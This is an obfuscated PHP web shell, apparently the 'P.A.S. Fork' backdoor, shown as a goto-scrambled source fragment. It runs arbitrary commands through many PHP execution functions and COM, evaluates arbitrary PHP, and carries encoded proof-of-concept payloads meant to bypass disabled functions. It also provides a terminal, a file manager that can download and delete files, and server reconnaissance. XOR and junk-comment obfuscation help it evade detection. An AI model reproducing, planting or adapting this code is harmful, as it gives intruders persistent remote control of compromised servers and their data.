sGfs9SA+06nNJhyjNPTwrApnP03RgG1lNIQu/9e+aCVp07GvmMxAzMjbmZcvVoECdvEms2CheiFY5cxv84GLQioGbXspHLYitYAVMESmHax+Kotfa/ViNyfhQGbsbNdOnIS24YSYNewjhIcK80Je7vKeZ5L4Wnvf211Lo4="); $pocs["mm0r1_concat"] = array("v" => $v == 80013 && $v == 80014 || $v > 80100 && $v < 80120, "r" => "new Pwn($" . $c . ")", "c" => "eNqtV1tvo0YUfs+vmFrIgpqswE5tJw6pvE20SS/ZNJc+rGuhMQxrEgzWABtnt/7vPTNcPAwQZ6taijwx53zn/s3BCXAco0sSrAlF39A6XQS+gxSsI2UBf84EbQ8cLnPzHKJvBwg+ThTGCfrl8uH6N/t8ej+1764+XSALGZuhMalJ5A8/XVyf2+cX7x8+2O8frn4/Rz+jmATeyYmM0wOcvoFOmh+L+Hf3t1fXHwoDzWiHgGaO4cucHAiql/c7p01zPJEeNQAXGjXAPGVeGjqJH4XItjkOTZ1EVZyVq+VZYx8voqriM6sTBN+nyOSHXk8UYh/lM42i1WxemsdBEDlqdhbc0yZvV6sGJmhuy1N5UCAGByc2xGFj16UlIPzQXycQRbL048OzJcFrOyD4SdV0ZA4FUMXzg+AN7u8UMkS8cL4jaAXECwdrPvcqPZF1j2zOo4SoJYqIXATIJ8NCIXnOx2Qn43sqGAtIqO6c16Cq0CGDwUiuKSVJSkMx7c3GAAbsdQJCks6kTWQBIkXLqcoGbG1bZR3e5h4hrocdIuYgk7CXOHQDQmOWxEyVksCmBLuqUSmRE0RxSkmZcVkYBrdR3iGiNEhWkdjIm4aQ/B3CAse+Y7NIBe8+k8QWHqiCnYr5r75nxy9xQlZV3ew3VQSv6Hn4CbByzMjzeP5GxqR9jlnFx/zcs9C4Ns27PD1TP4GGq1noga7+aooUX2uc2TeBG5vBGAZUR0dii+d1ZzIxSSCcm8sb+4/prx9v7b8ubu+uPl4jy4J4gKtZ/MDJQPHjyfeZlqzoYlnas150WDnfPdQcFyPvdodYR+oN0EIWVHmytIy23wDbgpiGEGcdNhPIp35N/S84IbtrQ2BSoXsUTFkaZrO5jmbz+c4GWLAJpVE5vGrJBhpKY4LULtPVUVdZpF6tITNYU7o9QJJxL/AnJWuCE7Xz98YwOjrad4FUGJnSmTlH7/aQONygOXd2ppTil47Y3RlVcodez1pO3yz/YtbW+CWIsAvBrLHzpHb+/BGCMDYuzNWCEI+dHeyRBV4QKKPM/IX2u2oupi2J2EVSaGqNVPb/lJJ9FWb+Y1ULfSCE/UXsbDqvl6BkfyUbcNGrvI6NqwNMNuQ+19lvIieYkkS+4CBlxQuRRLjAzahKzkrYsmSVjsxyXE6zbHtyluAnN4G67O705EUre3Z2BsZlUm6PgiWJNVuT2w0cYxp5c2ZLp3hB5vYtVN0/ygVCqywpYO0HK7NXaHYtpJro9BSxh/A10DS+0woXSzGEXOH1ArVdqhUmyxldeL5z0o3k2ng2CRP6Iu8N0qzmoiFe1TaMHEBHQ0meJaRQsfhbizv8aXQ0GoyORwO5R8REyH5At4wl7K00kFzK4m80Qpug56UfkNJFXhxD25/iys4jk16GCe8dpM4LvIf4u45Rz4UcFlsS8sxMx6jbreXDD23MKFttysgRU9drOuwz6xvm2BgNYA2B07FxbPTZqW8YxwODn0z221xrKoKyitw0ILxutf1TsJ/voK+py5oycoM6y1MFIWuco1F/aA6PhmRosgZq8ntPA4G74wZ725auqjBMnOBEfPPMblol9r+SJhKGCyBepp4HXSJfa5lOtQNl9JK+4QAaa0awjUTGIiNxzAm4ujE/ssyHGc/AP2cZRT8eHjZ2LMM4Pa0QbOXZPxaKqMv9mYE7QN2P88YNuUh/rlhEuT34F11ikeU="); foreach ($pocs as $pocname => $poc) { if (!$poc["v"]) { continue; } switch ($cmd) { case "check": return $pocname; break; default: ob_start(); eval("$" . $c . " = '(echo "via " . $pocname . ":";" . addslashes($cmd) . ") 2>&1';echo " . $poc["r"] . ";" . gzuncompress(base64_decode($poc["c"]))); $res = ob_get_contents(); ob_end_clean(); if (strpos($res, $pocname)) { return $res; } } } return isset($res) ? $c . " for " . $v . " fails ;( " : false; } goto Duhun; tn7NP: function j($a = 0) { $l = rand(10, 100); while (!isset($c[$l])) { @($c .= chr($a ? rand(32, 126) : rand(1, 127))); } if (rand(0, 1)) { return "//" . str_replace(array("\xd", "\xa"), '', $c) . "\xa"; } else { return "/*" . preg_replace("|\*/|", '', $c) . "*/"; } } goto tvptL; HY8s3: ?> 
</select></span><span class="spnChrst"><hr class="arwDwn"/> <select id="sqlCSLoad"><?php  goto RGiWO; MgM2z: if (NIX) { echo ",data.o,data.g"; } goto fTz9c; QqiLl: ?> 
</select><select name="e"><option value="0">\r\n</option><option value="1"<?php  goto QjzJe; XoK8_: ?> 
, 
   isNotUpdtd = true; 
  if (file[1] === null) fpth += DS; 
  for (var t = 0; t < tbdyCnt; ++t) { 
   var tbdy = elmTblFiles.tBodies[t], 
    rows = tbdy.rows, 
    isEqlBsPth = rows[0].cells[0].textContent === bpth; 
   for (var r = 2, n = rows.length; r < n; ++r) { 
    var row = rows[r], 
     cells = row.cells, 
     cfpth = cells[0].firstChild.value, 
     clpth = cells[1].firstChild.title; 
    if (isNotUpdtd && isEqlBsPth) { 
     if (cfpth === fpth) { 
      updFileRow(row, file, ogn); 
      isNotUpdtd = false; 
     } else if (isInsPos(file, cells)) { 
      var tmpl = elmTmplFileRow.cloneNode(true); 
      fillFileRow(tmpl.cells, bpth, file, ogn); 
      tbdy.insertBefore(tmpl, row); 
      isNotUpdtd = false; 
      ++n; 
     } 
    } 
    if (clpth === fpth || cfpth === lpth || lpth === clpth) updFileRow(row, file, ogn); 
   } 
   if (isNotUpdtd && isEqlBsPth) { 
    var tmpl = elmTmplFileRow.cloneNode(true); 
    fillFileRow(tmpl.cells, bpth, file, ogn); 
    tbdy.appendChild(tmpl); 
   } 
  } 
 } 
} 
 
function updTblFile(f) { 
 var pos = f[0].slice(0, -1).lastIndexOf(DS) + 1, 
  bpth = f[0].slice(0, pos), 
  os = {}, 
  gs = {}; 
 f[0] = f[0].slice(pos); 
 <?php  goto LS2K7; XKLqj: ?> 
"/><button title="Go!">&gt;</button><span class="spnBtnSbMn"><button type="button"id="btnFastAct"title="Fast actions..."onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)"><hr class="arwDwn"/></button><div class="divSbMn"onclick="onFastActClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Properties</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Download</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Delete</a></div></span>&nbsp; <span class="spnChrst"title="Send as..."><hr class="arwUp"/> <select id="fmCSSend"><?php  goto wfSC0; T3Gi3: $GLOBALS["COOKIE"] = true; goto oY0E0; vSLfM: ob_start("ob_gzhandler"); goto ZbnwP; FLogZ: $GLOBALS["DEBUG"] = isset($GLOBALS["DEBUG"]) ? $GLOBALS["DEBUG"] : false; goto NKlSo; TTe2v: function getValue($str) { return xorStr(base64_decode($str), true); } goto n_9LQ; m403z: ?> 
</select></span><button id="sbmPHP"title="Press Ctrl + Enter to evaluate code">Eval</button></div></form><div id="divPHP"><textarea name="e"form="frmPHP"id="txtPHP"placeholder="phpinfo();"onkeydown="onPHPKeyDwn(event)"></textarea><pre id="prePHP"onkeydown="onPHPResKeyDwn(event)"tabindex="-1"></pre></div></div></span><span id="tabTrm"><a href="#tabTrm"class="tab">Terminal</a><form class="tabPage"id="frmTrm"onsubmit="return exec()"><div class="toolbar"><label class="flexRow"title="Shell must be able to accept command from the argument 'c' (e.g.: $<?php  goto bmg0Q; WIEYr: echo NIX ? 8 : 7; goto IePeY; hDcaP: function exe($cmd, $fnc, $sh = '', $se = TRUE, $or = '') { $se = "2>" . ($se ? "&1" : (NIX ? "/dev/null" : "nul")) . $or; if (NIX) { $sc = "echo " . nesc($cmd) . "|" . ($sh === '' ? "$0" : $sh) . " " . $se . " & exit"; } else { $sc = ($sh === '' ? "(" . $cmd . ")" : $sh . " /C " . wesc($cmd) . " ") . $se; } switch ($fnc) { case 0: system($sc); break; case 1: passthru($sc); break; case 2: echo `{$sc}`; break; case 3: echo shell_exec($sc); break; case 4: $r = NULL; exec($sc, $r); if (is_array($r)) { foreach ($r as $v) { echo $v, "\xa"; } } break; case 5: if ($h = popen($sc, "r")) { while (!feof($h)) { echo fread($h, 1024); } pclose($h); } break; case 6: if ($h = proc_open($sc, array(array("pipe", "r"), array("pipe", "w"), array("pipe", "a")), $p)) { echo stream_get_contents($p[1]); fclose($p[0]); fclose($p[1]); proc_close($h); } break; case 7: if ($h = new COM("WScript.Shell")) { echo $h->Exec(($sh === '' ? "cmd" : $sh) . " /C " . $cmd . " " . $se)->StdOut->ReadAll(); } break; case 101: echo safemode($cmd); } } goto qpEiQ; M2sts: function delFile($p) { return unlink($p) || NIX && rename($p, "/dev/null") && !is_file($p) && !file_exists($p); } goto lFYjV; LqFLO: function hex2ascii($hex) { $ascii = ''; $hex = str_replace(" ", '', $hex); for ($i = 0; $i < strlen($hex); $i = $i + 2) { $ascii .= chr(hexdec(substr($hex, $i, 2))); } return $ascii; } goto ukSg0; peFDT: ?> 
uiShwFrmPrps([fpth, row.cells[4].textContent<?php  goto c4ssQ; B0nIU: function xorStr($str, $decode = false) { $key = $GLOBALS["ENCKEY"]; $key_len = strlen($key); $str = !$decode ? rawurlencode($str) : $str; for ($i = 0; $i < strlen($str); $i++) { $str[$i] = $str[$i] ^ $key[$i % $key_len]; } $str = $decode ? rawurldecode($str) : $str; return $str; } goto t18Ha; FkNcg: ?> 
 </div><div class="flexRow"><label class="option"title="exx: &gt;1991-08-24 00:00:00, &lt;1991-08-24 00:00:00, 1991-08-24 00:00:00 - 1996-06-28 12:00:00, 1996-06-28 12:00:00">Created (UTC)<input type="text"name="e"/></label><hr class="spcr20"/><label class="option"title="exx: &gt;1991-08-24 00:00:00, &lt;1991-08-24 00:00:00, 1991-08-24 00:00:00 - 1996-06-28 12:00:00, 1996-06-28 12:00:00">Modified (UTC)<input type="text"name="m"/></label></div><div class="flexRow"><label class="option"title="exx: &gt;10, &lt;102400, 10-1024, 2048">Size (bytes)<input type="text"name="z"/></label><hr class="spcr20"/><div class="option">Text (<label title="Delimiter is pound (#)"><input type="checkbox"name="x"/>use regex</label>, <label><input type="checkbox"name="v"/>case-insensitive</label>)<input type="text"name="t"/></div></div><div class="flexRow"><label><input type="checkbox"name="l"/> Process links</label><hr class="spcrFlex"/><button>Search</button></div></form><form id="frmLnk"class="modal"onmousedown="uiActvModal(event)"onsubmit="mkLnk(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Create Link</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmLnk')">&#x00D7;</a></div><label class="option">Target Path: <input type="text"name="p"required/></label><label class="option">Link Path: <input type="text"required/></label><div class="flexRow"><select name="t"><option value="0">Symbolic</option><option value="1">Hard</option></select><hr class="spcrFlex"/><button>Create</button></div></form><template id="tmplFrmPrps"><form class="modal frmFilesPrps"onmousedown="uiActvModal(event)"onsubmit="chngPrps(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Properties</span><a href="#"class="cntrl"title="Close without saving"onclick="return uiDstrModal(this.parentNode.parentNode)">&#x00D7;</a></div><label class="option">Path<input type="text"name="p"request/></label><div class="flexRow"><label class="option">Modified (UTC) <a href="#"class="cntrl arwDwn"onclick="setErlDate(event)"title="Set the earliest date from table"></a><input type="text"size="1"name="t"/></label> <?php  goto ElmAk; bwlDJ: function makeOut($str) { return c("<script>") . t(f("write", 1) . "(" . f("decodeURIComponent") . "(" . f("atob") . "((" . i(base64_encode(rawurlencode(c($str, 1))), 100, 400) . "))));", true) . c("</script>"); } goto OGnWs; wHp7g: if (!RO) { ob_start(); } goto OKNcO; aFR2a: if (NIX) { echo ",ownrs[file[5]]+'/'+grps[file[6]]"; } goto S_uPO; q8gGN: $C = array('' => "UTF-8", "UTF-16", "Windows-1250", "Windows-1251", "Windows-1252", "Windows-1254", "Windows-1256", "Windows-1257", "ISO-8859-1", "ISO-8859-2", "ISO-8859-7", "ISO-8859-8", "ISO-8859-9", "ISO-8859-13", "Big5", "GBK", "Shift_JIS", "EUC-KR", "EUC-JP", "IBM866", "KOI8-R", "KOI8-U"); goto DoDlg; NHyqa: function wesc($v) { return str_replace(array("^", "&", "\", "<", ">", "|"), array("^^", "^&", "^\", "^<", "^>", "^|"), $v); } goto hDcaP; OGnWs: function f($f, $d = false) { $r = rand(0, 1); return $r ? (rand(0, 1) && !$d ? f("self") : ($r && !$d ? f("top") : f("document"))) . "[" . i($f, 1, 3) . "]" : ($d ? f("document") . "." . $f : $f); } goto MxV1r; eTqe7: foreach ($C as $k => $v) { echo "<option value="", $k, "">", $v, "</option>"; } goto zObPJ; wjnY5: echo NIX ? 8 : 7; goto oHfwf; QjzJe: if (NIX) { echo " selected"; } goto YveqT; LAxqm: ?> 
', 
 fmBuffer = [], 
 elmTblFiles = null, 
 elmTmplFileRow = null, 
 elmPth = null, 
 fileTypes = { 
  0xE000: 'P', 
  0xD000: 'D', 
  0xC000: 's', 
  0xA000: 'l', 
  0x8000: '-', 
  0x6000: 'b', 
  0x4000: 'd', 
  0x2000: 'c', 
  0x1000: 'p' 
 }; 
 
function fmSaveState() { 
 strgSaveStr('fmPath', elmPth.placeholder); 
 strgSaveArr('fmBuffer', fmBuffer); 
} 
 
function fmRestoreState() { 
 elmTblFiles = elmById('tblFiles'); 
 elmTmplFileRow = elmById('tmplFileRow').content.firstChild; 
 elmPth = elmById('frmFM').p; 
 strgRstrVal('fmPath', elmPth); 
 elmPth.placeholder = elmPth.value; 
 fmBuffer = strgRstrArr('fmBuffer'); 
 if (fmBuffer.length > 0) elmById('btnBufferMenu').disabled = false; 
} 
 
function uiCheckAll(id, state) { 
 var elms = elmById('frm' + id)['f[]']; 
 if (elms) { 
  if (elms.length > 0) 
   for (var i = elms.length - 1; i >= 0; --i) elms[i].checked = state; 
  else elms.checked = state; 
 } 
} 
 
function fmAjxSnd(msg, clbck, data, frm, chrst) { 
 if (!data) data = {}; 
 data.a = 'f'; 
 if (!('c' in data)) { 
  var cs = elmById('fmCSLoad').value; 
  if (cs !== '') data.c = cs; 
 } 
 ajxSnd(msg, clbck, frm, data, chrst ? chrst : elmById('fmCSSend').value); 
} 
 
function parseName(file) { 
 var n = file[0], 
  e = ''; 
 if (file[1] === null) { 
  n = '[ ' + n + ' ]'; 
  e = '[ DIR ]'; 
 } else { 
  var p = n.lastIndexOf('.'); 
  if (p > 0) { 
   e = n.slice(p + 1); 
   //n = n.slice(0, p); 
  } 
 } 
 file[0] = [file[0], n, e]; 
} 
 
function cmprFiles(f1, f2) { 
 var [o, i] = fmSort; 
 var c1 = (i[1] ? f1[i[1]] : f1[0][i]); 
 var c2 = (i[1] ? f2[i[1]] : f2[0][i]); 
 
 var f1F = f1[1] !== null, f2F = f2[1] !== null; 
 
 if (f1F && f2F) { 
  if (c1 !== c2) return c1 > c2 ? 1*o : -1*o; 
 } 
 else if (f1F) return 1*o; 
 else if (f2F) return -1*o; 
 return f1[0][1] > f2[0][1] ? 1*o : -1*o; 
} 
 
function frmtSize(s) { 
 if (s === null) return '[ DIR ]'; 
 if (s === -1) return '?'; 
 if (s > 999) { 
  s = s.toString(); 
  for (var i = s.length - 3; i > 0; i -= 3) s = s.slice(0, i) + '\u2009' + s.slice(i); 
 } 
 return s; 
} 
 
function prmsToStr(p) { 
 p |= 0; 
 if (p === 0) return '?'; 
 var v = p & 0xF000; 
 return ((v in fileTypes) ? fileTypes[v] : 'u') + ((p & 0x0100) ? 'r' : '-') + ((p & 0x0080) ? 'w' : '-') + ((p & 0x0040) ? ((p & 0x0800) ? 's' : 'x') : ((p & 0x0800) ? 'S' : '-')) + ((p & 0x0020) ? 'r' : '-') + ((p & 0x0010) ? 'w' : '-') + ((p & 0x0008) ? ((p & 0x0400) ? 's' : 'x') : ((p & 0x0400) ? 'S' : '-')) + ((p & 0x0004) ? 'r' : '-') + ((p & 0x0002) ? 'w' : '-') + ((p & 0x0001) ? ((p & 0x0200) ? 't' : 'x') : ((p & 0x0200) ? 'T' : '-')); 
} 
 
function updFileRow(row, file, ogn) { 
 row.style.visibility = 'hidden'; 
 row.cells[3].firstChild.textContent = frmtSize(file[1]); 
 row.cells[4].textContent = utsToStr(file[2]); 
 var elm = row.cells[5].firstChild; 
 elm.className = 'lnkAct prm' + file[3]; 
 <?php  goto WLMku; WLMku: if (NIX) { ?> 
elm.textContent = prmsToStr(file[4]); 
 elm.title = (file[4] | 0).toString(8).slice(-4); 
 elm = row.cells[6]; 
 elm.textContent = ogn; 
 elm.title = (file[5] === -1 ? '?' : file[5]) + '/' + (file[6] === -1 ? '?' : file[6]); 
 <?php  } else { ?> 
switch(file[3]) { 
  case 1: elm.textContent = 'read'; 
  break; 
  case 2: elm.textContent = 'write'; 
  break; 
  case 3: elm.textContent = 'read/write'; 
  break; 
  default: elm.textContent = 'none'; 
  break; 
 } 
 <?php  } goto dyrTR; qa4cw: function filePath($p) { $p = rtrim($p, DSC); return implode(DSC, array_slice(explode(DSC, $p), 0, -1)) . DSC; } goto gE2sI; cY2KI: echo escHTML(selfPath()); goto XKLqj; xwY0G: echo NIX ? "/" : "\\"; goto LAxqm; I3CN4: ?> 
} 
 
function listFiles(data, ownrs, grps) { 
 var bpth = data.p, 
  files = data.f, 
  tbdy = elmById('tmplFilesTBody').content.firstChild.cloneNode(true); 
 for (var pths = bpth.slice(0, -1).split(DS), cpth = '', i = 0, c = pths.length; i < c; ++i) { 
  cpth += pths[i] + DS; 
  tbdy.rows[0].cells[0].appendChild(newElm('a', { 
   href: '#' + cpth, 
   className: 'spnPth', 
   textContent: pths[i] + DS, 
  })); 
  tbdy.rows[0].cells[0].classList.add('prm' + data.m); 
 } 
 tbdy.rows[1].cells[0].firstChild.value = bpth + '..'; 
 files.map(parseName); 
 files.sort(cmprFiles); 
 for (var i = 0, c = files.length; i < c; ++i) { 
  var file = files[i], 
   row = elmTmplFileRow.cloneNode(true); 
  fillFileRow(row.cells, bpth, file<?php  goto aFR2a; yYeaX: ob_end_clean(); goto vSLfM; i_T5O: foreach ($C as $v) { echo "<option>", $v, "</option>"; } goto rmSEO; je63D: function infMain($h = FALSE) { echo $h ? "<table id="tblInf"><tr title="HTTP Host, Server Addr, Server Name, Host Name, Host IP"><th>" : "[{"", "Address", $h ? "</th><td>" : "":"; $a = array(); foreach (array("HTTP_HOST", "SERVER_ADDR", "SERVER_NAME") as $v) { if (isset($_SERVER[$v])) { $v = trim($_SERVER[$v]); if ($v !== '' && !in_array($v, $a)) { $a[] = $v; } } } if ($v = php_uname("n")) { $v = trim($v); if ($v !== '' && !in_array($v, $a)) { $a[] = $v; } } if (PHP_VERSION >= "5.3" && ($v = gethostname())) { $v = trim($v); if ($v !== '' && !in_array($v, $a)) { $a[] = $v; } } $r = ''; foreach ($a as $k => $v) { if ($k > 0) { $r .= " / "; } $r .= $v; if ($i = gethostbynamel($v)) { $b = FALSE; foreach ($i as $v) { if (!in_array($v, $a)) { $a[] = $v; if ($b) { $r .= ", "; } else { $b = TRUE; $r .= " ("; } $r .= $v; } } if ($b) { $r .= ")"; } } elseif (($i = gethostbyname($v)) && !in_array($v, $a)) { $a[] = $v; $r .= " (" . $v . ")"; } } if ($h) { echo escHTML($r); } else { jsonEcho($r); } echo $h ? "</td></tr><tr><th>" : ","", "System", $h ? "</th><td>" : "":"; $r = ''; if (($v = trim(php_uname("s") . " " . php_uname("r") . " " . php_uname("v") . " " . php_uname("m"))) !== '') { $r = $v; } elseif (NIX && ($v = getFile("/proc/version"))) { $r = $v; } else { if (defined("PHP_OS")) { $r = PHP_OS; } else { $r = NIX ? "*NIX" : "Windows"; } if (!NIX) { $a = array(); foreach (array("PHP_WINDOWS_VERSION_MAJOR", "PHP_WINDOWS_VERSION_MINOR", "PHP_WINDOWS_VERSION_BUILD") as $v) { if (defined($v)) { $a[] = constant($v); } } if ($a) { $r .= " " . implode(".", $a); } if (defined("PHP_WINDOWS_VERSION_SP_MAJOR") && PHP_WINDOWS_VERSION_SP_MAJOR > 0) { $r .= " SP" . PHP_WINDOWS_VERSION_SP_MAJOR; if (defined("PHP_WINDOWS_VERSION_SP_MINOR") && PHP_WINDOWS_VERSION_SP_MINOR > 0) { $r .= "." . PHP_WINDOWS_VERSION_SP_MINOR; } } } } if (NIX && (($v = trim(getFile("/etc/issue.net"))) !== '' || ($v = trim(getFile("/etc/issue"))) !== '')) { $r .= " (" . $v . ")"; } if ($h) { echo escHTML($r); } else { jsonEcho($r); } if (!empty($_SERVER["SERVER_SOFTWARE"])) { echo $h ? "</td></tr><tr><th>" : ","", "Server", $h ? "</th><td>" : "":"; if ($h) { echo escHTML($_SERVER["SERVER_SOFTWARE"]); } else { jsonEcho($_SERVER["SERVER_SOFTWARE"]); } } echo $h ? "</td></tr><tr><th>" : ","", "Software", $h ? "</th><td>" : "":"; $r = "PHP/" . PHP_VERSION; if (defined("SUHOSIN_PATCH_VERSION")) { $r .= " with Suhosin patch/" . SUHOSIN_PATCH_VERSION; } $r .= "; "; if (defined("CURLE_OK")) { $r .= "cURL"; $v = curl_version(); if (isset($v["version"])) { $r .= "/" . $v["version"]; } $r .= "; "; } if ($v = phpversion("Suhosin")) { $r .= " Suhosin/" . $v; } if ($h) { echo escHTML($r); } else { jsonEcho($r); } echo $h ? "</td></tr><tr><th>" : ","", "User", $h ? "</th><td>" : "":"; $r = ''; $a = array(); if (NIX) { if (defined("POSIX_F_OK") || function_exists("posix_geteuid")) { if (is_int($v = posix_geteuid())) { $r .= "euid=" . $v . "(" . uName($v) . "); "; } if (is_int($v = posix_getegid())) { $r .= "egid=" . $v . "(" . gName($v) . "); "; } } if (is_int($v = getmyuid())) { $r .= "ouid=" . $v . "(" . uName($v) . "); "; } if (is_int($v = getmygid())) { $r .= "ogid=" . $v . "(" . gName($v) . "); "; } } $b = FALSE; foreach (array("REMOTE_ADDR", "HTTP_X_REAL_IP", "HTTP_CLIENT_IP", "HTTP_X_FORWARDED_FOR") as $i) { if (!empty($_SERVER[$i])) { if ($b) { $r .= ", "; } else { $b = TRUE; $r .= "IP: "; } $r .= $_SERVER[$i]; } } if ($b) { $r .= ";"; } if ($h) { echo escHTML($r); } else { jsonEcho($r); } echo $h ? "</td></tr><tr><th colspan="2"></th></tr><tr><th>" : "},{"", "Safe mode", $h ? "</th><td>" : "":"; if (isINI("safe_mode")) { $v = isINI("safe_mode_gid") ? "GID" : "UID"; echo $h ? $v : """ . $v . """; foreach (array("Include dir" => "safe_mode_include_dir", "Exec dir" => "safe_mode_exec_dir", "Vars prefixes" => "safe_mode_allowed_env_vars", "Protected vars" => "safe_mode_protected_env_vars") as $k => $v) { if (!getINI($v, $v)) { $v = "-"; } echo $h ? "</td></tr><tr><th>" : ","", $k, $h ? "</th><td>" : "":"; if ($h) { echo escHTML($v); } else { jsonEcho($v); } } } else { echo $h ? "-" : ""-""; } echo $h ? "</td></tr>" : ''; foreach (array("Open basedir" => "open_basedir", "Disabled functions" => "disable_functions", "Disabled classes" => "disable_classes") as $k => $v) { if (!getINI($v, $v)) { $v = "-"; } echo $h ? "<tr><th>" : ","", $k, $h ? "</th><td>" : "":"; if ($h) { echo escHTML($v), "</td></tr>"; } else { jsonEcho($v); } } if (getINI("suhosin.simulation", $v)) { echo $h ? "<tr><th colspan="2"></th></tr><tr><th>" : "},{"", "Suhosin mode", $h ? "</th><td>" : "":"", $v ? "simulation" : "break", $h ? "</td></tr><tr><th>" : "","", "Allow rewrite", $h ? "</th><td>" : "":"; if (!getINI("suhosin.perdir", $v) || !$v) { $v = "-"; } if ($h) { echo escHTML($v), "</td></tr>"; } else { jsonEcho($v); } foreach (array("Functions whitelist" => "suhosin.executor.func.whitelist", "Functions blacklist" => "suhosin.executor.func.blacklist", "Eval whitelist" => "suhosin.executor.eval.whitelist", "Eval blacklist" => "suhosin.executor.eval.blacklist") as $k => $v) { if (!getINI($v, $v)) { $v = "-"; } echo $h ? "<tr><th>" : ","", $k, $h ? "</th><td>" : "":"; if ($h) { echo escHTML($v), "</td></tr>"; } else { jsonEcho($v); } } $a = array("eval" => "suhosin.executor.disable_eval", "/e modifier" => "suhosin.executor.disable_emodifier"); $i = array(); foreach ($a as $k => $v) { if (isINI($v)) { $i[] = $k; } } echo $h ? "<tr><th>" : ","", "Disabled", $h ? "</th><td>" : "":"", $i ? implode(", ", $i) : "-", $h ? "</td></tr>" : """; if (isINI("suhosin.log.file") && getINI("suhosin.log.file.name", $v)) { echo $h ? "<tr><th>" : ","", "Log file", $h ? "</th><td>" : "":"; if ($h) { echo escHTML($v), "</td></tr>"; } else { jsonEcho($v); } } } echo $h ? "</table>" : "}]"; } goto FrNOm; rmSEO: ?> 
</select></span><span class="spnChrst"style="text-align:right"title="Load as..."><hr class="arwDwn"/> <select name="c"><?php  goto eTqe7; zOpQl: if (safemode()) { $a[101] = "safemode"; } goto nkF5N; Uj2er: ?> 
</div></span></div><div class="panel"id="divFtr"><div><a href="https://github.com/cr1f/P.A.S.-Fork/"target="blank">P.A.S. Fork v. <?php  goto EAfVP; kd2X7: if (NIX) { echo ",data.o,data.g"; } goto o3npe; U8eY8: ?> 
); 
 stl.display = 'table'; 
} 
 
function canonPath(pth, bpth) { 
 if (pth === '') return ''; 
 var a = [], 
  s = DS, 
  v = pth.match(new RegExp('^[a-zA-Z0-9]{3,}://')); 
 if (v !== null) { 
  s = '/'; 
  v = v[0]; 
  var len = v.length; 
  a.push(pth.slice(0, pth[len] === s ? len : v - 1)); 
  pth = pth.slice(len); 
 } else if (DS === '/') { 
  if (pth[0] === DS) a.push(''); 
 } else { 
  pth = pth.replace('/', DS); 
  if (pth[1] === ':') { 
   a.push(pth.slice(0, 2)); 
   pth = pth.slice(2); 
  } else if (pth.slice(0, 2) === DS + DS) { 
   a.push(DS); 
   pth = pth.slice(1); 
  } else if (pth[0] === DS) a.push(''); 
 } 
 if (a.length === 0) return canonPath(bpth + pth, bpth); 
 v = pth.split(s); 
 for (var i = 0, l = v.length; i < l; ++i) switch (v[i]) { 
  case '': 
  case '.': 
   break; 
  case '..': 
   if (a.length > 1) a.pop(); 
   break; 
  default: 
   a.push(v[i]); 
   break; 
 } 
 return a.length === 1 ? a[0] + s : a.join(s); 
} 
 
function onSrchFiles(div, data) { 
 if ('e' in data) return uiChngMsg(div, data.e, 'Err'); 
 if (data.f.length === 0) return uiChngMsg(div, 'Nothing found', 'Inf'); 
 listPaths(data); 
 uiDelMsg(div); 
} 
 
function srchFiles(e) { 
 e.preventDefault(); 
 e.stopPropagation(); 
 var frm = elmById('frmSrch'), 
  data = { 
   s: [] 
  }, 
  pths = frm.elements[0].value.split(DS === '/' ? ':' : ';'); 
 for (var i = pths.length - 1; i >= 0; --i) { 
  var pth = canonPath(pths[i], elmPth.placeholder); 
  if (pth !== '') data.s.push(pth); 
 } 
 data.s.sort(); 
 fmAjxSnd('Search files', onSrchFiles, data, frm); 
 uiClsModal(frm); 
} 
 
function uiSrchFTypeChngd() { 
 var frm = elmById('frmSrch'), 
  isDir = frm.y.value == 1; 
 for (var i = 0, a = [<?php  goto zw1oE; m3s68: foreach ($ini as $k => $v) { if (isset($sysini[$k]) && $sysini[$k]["access"] == 7) { ini_set($k, $v); } } goto fZnG8; eZrJL: foreach ($C as $v) { echo "<option>", $v, "</option>"; } goto PakDw; gBMej: echo NIX ? "/bin/sh" : "cmd"; goto XxpKg; gE2sI: function fileName($p) { $p = rtrim($p, DSC); $i = strrpos($p, DSC); return $i === FALSE ? $p : substr($p, $i + 1); } goto ijdF3; U8iwQ: ob_end_clean(); goto wHp7g; RwG_t: $a = array("system", "passthru", "backticks", "shell_exec", "exec", "popen"); goto s1vdE; HPKuj: class FileInfo { function __construct($v) { if (is_string($v)) { $this->fb = ''; $this->fn = ''; parsePath($v, $this->fb, $this->fn); $this->fp = $this->fb . $this->fn; } else { $this->fi = $v; $this->fp = $v->getPathName(); $this->fb = $v->getPath(); $this->fn = $v->getFileName(); } $this->rp = $this->fp; if ($this->isLink()) { $this->rp = $this->getLinkTarget(); if (isset($this->t)) { unset($this->t); } if (isset($this->fi)) { unset($this->fi); } } } function getPath() { return $this->fb; } function getFileName() { return $this->fn; } function getPathName() { return $this->fp; } function isDir() { if (isset($this->d)) { return $this->d; } if (!isset($this->p)) { $this->getPerms(); } if ($this->p !== 0) { $this->d = ($this->p & 61440) === 16384; return $this->d; } if (!isset($this->t)) { $this->type(); } if ($this->t !== FALSE) { $this->d = $this->t === "dir"; return $this->d; } $v = is_dir($this->fp); if (is_bool($v)) { $this->d = $v; return $v; } if (PHP_VERSION >= "5") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->isDir(); } catch (Exception $e) { $v = NULL; } if (is_bool($v)) { $this->d = $v; return $v; } } } $this->d = FALSE; return FALSE; } function isLink() { if (isset($this->l)) { return $this->l; } $v = lstat($this->fp); if (is_array($v)) { $this->l = ($v[2] & 61440) === 40960; return $this->l; } if (!isset($this->t)) { $this->type(); } if ($this->t !== FALSE) { $this->l = $this->t === "link"; return $this->l; } $v = is_link($this->fp); if (is_bool($v)) { $this->l = $v; return $v; } if (PHP_VERSION >= "5") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->isLink(); } catch (Exception $e) { $v = NULL; } if (is_bool($v)) { $this->l = $v; return $v; } } } $this->l = FALSE; return FALSE; } function getLinkTarget() { if (isset($this->f)) { return $this->f; } if (NIX || PHP_VERSION >= "5.3") { $v = readlink($this->fp); if (is_string($v)) { $this->f = $v; return $v; } } if 